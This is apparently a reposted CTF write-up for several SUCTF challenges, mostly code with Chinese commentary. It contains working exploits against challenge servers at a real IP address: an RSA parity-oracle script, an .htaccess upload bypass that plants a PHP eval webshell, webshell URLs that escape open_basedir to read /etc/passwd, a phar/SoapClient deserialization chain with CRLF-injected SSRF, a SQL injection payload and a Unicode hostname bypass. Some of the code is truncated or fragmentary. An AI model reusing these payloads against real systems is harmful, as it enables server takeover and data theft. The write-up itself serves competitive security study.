    m = m ^ m << 9 & 2029229568
    m = m ^ m << 17 & 2245263360
    m = m ^ m >> 19
    return m

def transform(message):
    new_message = ''
    for i in range(len(message) / 4):
        block = message[i * 4 : i * 4 +4]
        block = number.bytes_to_long(block)
        block = convert(block)
        block = number.long_to_bytes(block, 4)
        new_message += block
    return new_message
c1 = '641460a9'
c2 = 'e3953b1a'
c3 = 'aa21f3a2'
def decode(c):
 x = c
 while True:
     xx = x
     x = transform(x.decode('hex')).encode('hex')
     if x == c:
         return xx

print(decode(c1)+decode(c2)+decode(c3))
#flag{84b45f89af22ce7e67275bdc}
from pwn import *
from hashlib import md5
import decimal
a = 0
def oracle(num):
    p.recvuntil("Please input your option:")
    p.sendline("D")
    p.recvuntil("Your encrypted message:")
    p.sendline(str(num))
    p.recvuntil("The plain of your decrypted message is ")
    lsb = p.recv(3)
    return lsb == 'odd'

def partial(c,e,n):
    k = n.bit_length()
    decimal.getcontext().prec = k  # for 'precise enough' floats
    lo = decimal.Decimal(0)
    hi = decimal.Decimal(n)
    for i in range(k):
        if not oracle(c):
            hi = (lo + hi) / 2
        else:
            lo = (lo + hi) / 2
        c = (c * pow(2, e, n)) % n
        print i, int(hi - lo)
    return int(hi)

s = "0123456789abcdefABCDEF"
p = remote("47.111.59.243","9421")
p.recvuntil("[*] Please find a string that md5(str + ")
salt = p.recv(4)
p.recvuntil("[0:5] == ")
part_hash = p.recv(5)
found = 0
for i in s:
    for j in s:
        for k in s:
            for l in s:
                for m in s:
                    ss = i+j+k+l+m
                    if md5(ss+salt).hexdigest()[:5] == part_hash:
                        found = 1
                        break
                if found:
                    break
            if found:
                break
        if found:
            break
    if found:
        break

p.recvuntil("> ")
p.sendline(ss)
p.recvuntil("Guess the Secrets 3 times, Then you will get the flag!\n")
for i in range(3):
    R = p.recvline().strip()
    p.recvuntil("n = ")
    n = eval(p.recvline().strip())
    p.recvuntil("e = ")
    e = eval(p.recvline().strip())
    p.recvuntil("The Encypted secret:")
    p.recvuntil("c = ")
    c = eval(p.recvline().strip())
    c_of_2 = pow(2,e,n)
    m = partial((c*c_of_2)%n,e,n)
    p.recvuntil("Please input your option:")
    p.sendline("G")
    p.recvuntil('The secret:')
    p.sendline(str(m))
    s = p.recvline().strip()
    print(s)
    log.success(s+' '+R+" success!")
p.interactive()

题目功能是一个文件上传,可以上传jpg、png等文件,但是限制了php,而且还判断了上传的文件头,使用exif_image来判断的,这个很容易绕过,直接随便加一个图片文件头就行,并且上传之后会给出文件所在目录

SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
    phpfile = open(filename, 'wb')

    phpfile.write(script.encode('utf-16be'))
    phpfile.write(SIZE_HEADER)

    phpfile.close()

def generate_htacess():
    htaccess = open('.htaccess', 'wb')

    htaccess.write(SIZE_HEADER)
    htaccess.write(b'AddType application/x-httpd-php .south\n')
    htaccess.write(b'php_value zend.multibyte 1\n')
    htaccess.write(b'php_value zend.detect_unicode 1\n')
    htaccess.write(b'php_value display_errors 1\n')

    htaccess.close()

generate_htacess()
generate_php_file("webshell.south", "<?php eval($_GET['cmd']); die(); ?>")

http://47.111.59.243:9001/upload/tmp_cc54f9a65160d1015e9d4b96601f1274/webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/etc/passwd"));

http://47.111.59.243:9001/upload/tmp_cc54f9a65160d1015e9d4b96601f1274/webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));

http://47.111.59.243:9001/upload/tmp_cc54f9a65160d1015e9d4b96601f1274/webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile("/THis_Is_tHe_F14g"));

#index.php
<?php
include 'class.php';

$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
if (isset($_POST["upload"])) {
    // 允许上传的图片后缀
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $tmp_name = $_FILES["file"]["tmp_name"];
    $file_name = $_FILES["file"]["name"];
    $temp = explode(".", $file_name);
    $extension = end($temp);
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/png"))
        && ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
        && in_array($extension, $allowedExts)
    ) {
        $c = new Check($tmp_name);
        $c->check();
        if ($_FILES["file"]["error"] > 0) {
            echo "错误:: " . $_FILES["file"]["error"] . "<br>";
            die();
        } else {
            move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
            echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
        }
    } else {
        echo "非法的文件格式";
    }   
}
# func.php
if (isset($_POST["submit"]) && isset($_POST["url"])) {
    if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
        die("Go away!");
    }else{
        $file_path = $_POST['url'];
        $file = new File($file_path);
        $file->getMIME();
        echo "<p>Your file type is '$file' </p>";
    }
}
#class.php
<?php
include 'config.php';

class File{

    public $file_name;
    public $type;
    public $func = "Check";

    function __construct($file_name){
        $this->file_name = $file_name;
    }

    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }

    function getMIME(){
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $this->type = finfo_file($finfo, $this->file_name);
        finfo_close($finfo);
    }

    function __toString(){
        return $this->type;
    }

}

class Check{

    public $file_name;

    function __construct($file_name){
        $this->file_name = $file_name;
    }

    function check(){
        $data = file_get_contents($this->file_name);
        if (mb_strpos($data, "<?") !== FALSE) {
            die("&lt;? in contents!");
        }
    }
}
#admin.php
<?php
include 'config.php';

class Ad{

    public $ip;
    public $port;

    public $clazz;
    public $func1;
    public $func2;
    public $func3;
    public $instance;
    public $arg1;
    public $arg2;
    public $arg3;

    function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){

        $this->ip = $ip;
        $this->port = $port;
        $this->clazz = $clazz;
        $this->func1 = $func1;
        $this->func2 = $func2;
        $this->func3 = $func3;
        $this->arg1 = $arg1;
        $this->arg2 = $arg2;
        $this->arg3 = $arg3;
    }

    function check(){

        $reflect = new ReflectionClass($this->clazz);
        $this->instance = $reflect->newInstanceArgs();

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        $reflectionMethod->invoke($this->instance, $this->arg1);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        $reflectionMethod->invoke($this->instance, $this->arg2);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }

    function __destruct(){
        getFlag($this->ip, $this->port);
        //使用你自己的服务器监听一个确保可以收到消息的端口来获取flag
    }
}

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    if(isset($_POST['admin'])){

        $ip = $_POST['ip'];     //你用来获取flag的服务器ip
        $port = $_POST['port']; //你用来获取flag的服务器端口
        $clazz = $_POST['clazz'];
        $func1 = $_POST['func1'];
        $func2 = $_POST['func2'];
        $func3 = $_POST['func3'];
        $arg1 = $_POST['arg1'];
        $arg2 = $_POST['arg2'];
        $arg2 = $_POST['arg3'];
        $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
        $admin->check();
    }
}
else {
    echo "You r not admin!";
}
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');

class File {
    public $file_name = "";
    public $func = "SoapClient";

    function __construct(){
        $target = "http://127.0.0.1/admin.php";
        $post_string = 'admin=&ip=111.111.111.111&port=1111&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
        $headers = [];
        $this->file_name  = [
            null,
            array('location' => $target,
                  'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
                  'uri'=>'hello')
        ];
    }
}
$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();

把生成的test.phar改成test.jpg上传,然后访问php://filter/resource=phar://upload/2bc454e1fc8129de63d3c034e5c0c24f/0412c29576c708cf0155e8de242169b1.jpg

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>

这一看,感觉跟之前自己fuzz的没啥区别,唯一可喜的就是看到了执行的语句,直接上payload吧,拼接后为:select *,2||flag from Flag即可查出flag

这题简单明了,直接是用blackhat议题之一HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization,其中关于python的如下图,具体PPT链接如下:PPT链接,我就不细说了

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass


def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False

if __name__=="__main__":
    get_unicode()

根据题目提示Dont worry about the suctf.cc. Go on!猜测应该是hosts文件suctf.cc绑定了127.0.0.1,既然是127.0.0.1我们可以尝试用file协议读一下文件

这题是结合逆向的一道题,扫描一下发现有一个下载功能,可以读文件,但是试了一个常规的flag文件路径都读不到flag,猜测flag应该不在目录里面。还有一个info.php也没有发现什么信息,猜测与题目名字有关,info.php里面搜索一下

#include <cstdio>
#include <cstring>
const char* remixedchar = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

int num_strchr(const char *str, char c)
{
  char *v2; // rax
  int result; // eax

  v2 = strchr((char*)str, c);
  if ( v2 )
    result = v2 - str;
  else
    result = -1;
  return result;
}

void remix(const char *remixed, char *dedata)
{
  char *v2; // r13
  char v3; // si
  const char *v4; // rbx
  int v5; // rbp
  int v6; // er14
  int j; // ST0C_4
  int v8; // er14
  int v9; // er15

  v2 = dedata;
  v3 = *remixed;
  if ( *remixed )
  {
    v4 = remixed + 1;
    v5 = 0;
    do
    {
      while ( 1 )
      {
        v8 = 4 * num_strchr(remixedchar, v3);
        v9 = num_strchr(remixedchar, *v4);
        v2[(signed int)v5] = v8 | (v9 >> 4) & 3;
        if ( v4[1] != 61 )
          break;
        v4 += 4;
        v3 = *(v4 - 1);
        v5 = v5 + 1;
        if ( !*(v4 - 1) )
          goto LABEL_8;
      }
      v6 = num_strchr(remixedchar, v4[1]);
      v2[(signed int)v5 + 1] = (v6 >> 2) & 0xF | 16 * v9;
      if ( v4[2] == 61 )
      {
        v5 = v5 + 2;
      }
      else
      {
        j = v5 + 2;
        v5 = v5 + 3;
        v2[j] = num_strchr(remixedchar, v4[2]) & 0x3F | (v6 << 6);
      }
      v4 += 4;
      v3 = *(v4 - 1);
    }
    while ( *(v4 - 1) );
LABEL_8:
    v5 = (signed int)v5;
  }
  else
  {
    v5 = 0LL;
  }
  v2[v5] = 0;
}

文章来源: http://xz.aliyun.com/t/6042
如有侵权请联系:admin#unsafe.sh